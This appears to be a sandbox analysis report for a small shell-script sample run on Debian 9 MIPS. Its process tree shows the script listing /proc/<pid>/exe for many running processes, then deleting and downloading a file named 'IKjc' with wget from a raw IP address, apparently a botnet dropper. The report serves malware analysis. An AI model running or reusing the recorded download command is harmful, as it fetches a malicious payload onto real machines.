Overview

overview

3

Static

static

1

_0ffb79f36...737.sh

ubuntu-18.04-amd64

3

_0ffb79f36...737.sh

debian-9-armhf

3

_0ffb79f36...737.sh

debian-9-mips

3

_0ffb79f36...737.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    143s
  • max time network
    145s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21/06/2026, 03:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737.sh
  • Size 839B
  • Sample260621-ehrlrabs7n
  • SHA256 0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/_0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737.sh
    /tmp/_0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737.sh
    1⤵
      PID:703
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:705
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:709
      • /bin/ls
        ls -l /proc/109/exe
        2⤵
        • Reads runtime system information
        PID:714
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:719
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:722
      • /bin/ls
        ls -l /proc/125/exe
        2⤵
        • Reads runtime system information
        PID:724
      • /bin/ls
        ls -l /proc/126/exe
        2⤵
        • Reads runtime system information
        PID:726
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:728
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:729
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:731
      • /bin/ls
        ls -l /proc/153/exe
        2⤵
        • Reads runtime system information
        PID:734
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:735
      • /bin/ls
        ls -l /proc/160/exe
        2⤵
        • Reads runtime system information
        PID:737
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:738
      • /bin/ls
        ls -l /proc/176/exe
        2⤵
        • Reads runtime system information
        PID:739
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:741
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:742
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:743
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:744
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:745
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:746
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:747
      • /bin/ls
        ls -l /proc/235/exe
        2⤵
        • Reads runtime system information
        PID:748
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:749
      • /bin/ls
        ls -l /proc/248/exe
        2⤵
        • Reads runtime system information
        PID:750
      • /bin/ls
        ls -l /proc/3/exe
        2⤵
        • Reads runtime system information
        PID:751
      • /bin/ls
        ls -l /proc/335/exe
        2⤵
        • Reads runtime system information
        PID:752
      • /bin/ls
        ls -l /proc/336/exe
        2⤵
          PID:753
        • /bin/ls
          ls -l /proc/340/exe
          2⤵
          • Reads runtime system information
          PID:754
        • /bin/ls
          ls -l /proc/341/exe
          2⤵
          • Reads runtime system information
          PID:755
        • /bin/ls
          ls -l /proc/342/exe
          2⤵
          • Reads runtime system information
          PID:756
        • /bin/ls
          ls -l /proc/344/exe
          2⤵
          • Reads runtime system information
          PID:757
        • /bin/ls
          ls -l /proc/36/exe
          2⤵
          • Reads runtime system information
          PID:758
        • /bin/ls
          ls -l /proc/37/exe
          2⤵
          • Reads runtime system information
          PID:759
        • /bin/ls
          ls -l /proc/382/exe
          2⤵
          • Reads runtime system information
          PID:760
        • /bin/ls
          ls -l /proc/387/exe
          2⤵
          • Reads runtime system information
          PID:761
        • /bin/ls
          ls -l /proc/388/exe
          2⤵
          • Reads runtime system information
          PID:762
        • /bin/ls
          ls -l /proc/394/exe
          2⤵
          • Reads runtime system information
          PID:763
        • /bin/ls
          ls -l /proc/4/exe
          2⤵
          • Reads runtime system information
          PID:764
        • /bin/ls
          ls -l /proc/5/exe
          2⤵
          • Reads runtime system information
          PID:765
        • /bin/ls
          ls -l /proc/6/exe
          2⤵
          • Reads runtime system information
          PID:766
        • /bin/ls
          ls -l /proc/646/exe
          2⤵
            PID:767
          • /bin/ls
            ls -l /proc/659/exe
            2⤵
            • Reads runtime system information
            PID:768
          • /bin/ls
            ls -l /proc/662/exe
            2⤵
            • Reads runtime system information
            PID:769
          • /bin/ls
            ls -l /proc/665/exe
            2⤵
            • Reads runtime system information
            PID:770
          • /bin/ls
            ls -l /proc/666/exe
            2⤵
            • Reads runtime system information
            PID:771
          • /bin/ls
            ls -l /proc/690/exe
            2⤵
            • Reads runtime system information
            PID:772
          • /bin/ls
            ls -l /proc/691/exe
            2⤵
            • Reads runtime system information
            PID:773
          • /bin/ls
            ls -l /proc/696/exe
            2⤵
            • Reads runtime system information
            PID:774
          • /bin/ls
            ls -l /proc/698/exe
            2⤵
            • Reads runtime system information
            PID:775
          • /bin/ls
            ls -l /proc/699/exe
            2⤵
            • Reads runtime system information
            PID:776
          • /bin/ls
            ls -l /proc/7/exe
            2⤵
            • Reads runtime system information
            PID:777
          • /bin/ls
            ls -l /proc/70/exe
            2⤵
            • Reads runtime system information
            PID:778
          • /bin/ls
            ls -l /proc/701/exe
            2⤵
            • Reads runtime system information
            PID:779
          • /bin/ls
            ls -l /proc/703/exe
            2⤵
            • Reads runtime system information
            PID:780
          • /bin/ls
            ls -l /proc/704/exe
            2⤵
              PID:781
            • /bin/ls
              ls -l /proc/71/exe
              2⤵
              • Reads runtime system information
              PID:782
            • /bin/ls
              ls -l /proc/72/exe
              2⤵
              • Reads runtime system information
              PID:783
            • /bin/ls
              ls -l /proc/73/exe
              2⤵
              • Reads runtime system information
              PID:784
            • /bin/ls
              ls -l /proc/74/exe
              2⤵
              • Reads runtime system information
              PID:785
            • /bin/ls
              ls -l /proc/75/exe
              2⤵
                PID:786
              • /bin/ls
                ls -l /proc/76/exe
                2⤵
                • Reads runtime system information
                PID:787
              • /bin/ls
                ls -l /proc/77/exe
                2⤵
                • Reads runtime system information
                PID:788
              • /bin/ls
                ls -l /proc/78/exe
                2⤵
                • Reads runtime system information
                PID:789
              • /bin/ls
                ls -l /proc/8/exe
                2⤵
                • Reads runtime system information
                PID:790
              • /bin/ls
                ls -l /proc/81/exe
                2⤵
                • Reads runtime system information
                PID:792
              • /bin/ls
                ls -l /proc/82/exe
                2⤵
                • Reads runtime system information
                PID:794
              • /bin/ls
                ls -l /proc/9/exe
                2⤵
                • Reads runtime system information
                PID:795
              • /bin/rm
                rm -rf IKjc
                2⤵
                  PID:797
                • /usr/bin/wget
                  wget http://129.121.114.124/IKjc
                  2⤵
                    PID:799

                Network

                      MITRE ATT&CK Matrix

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads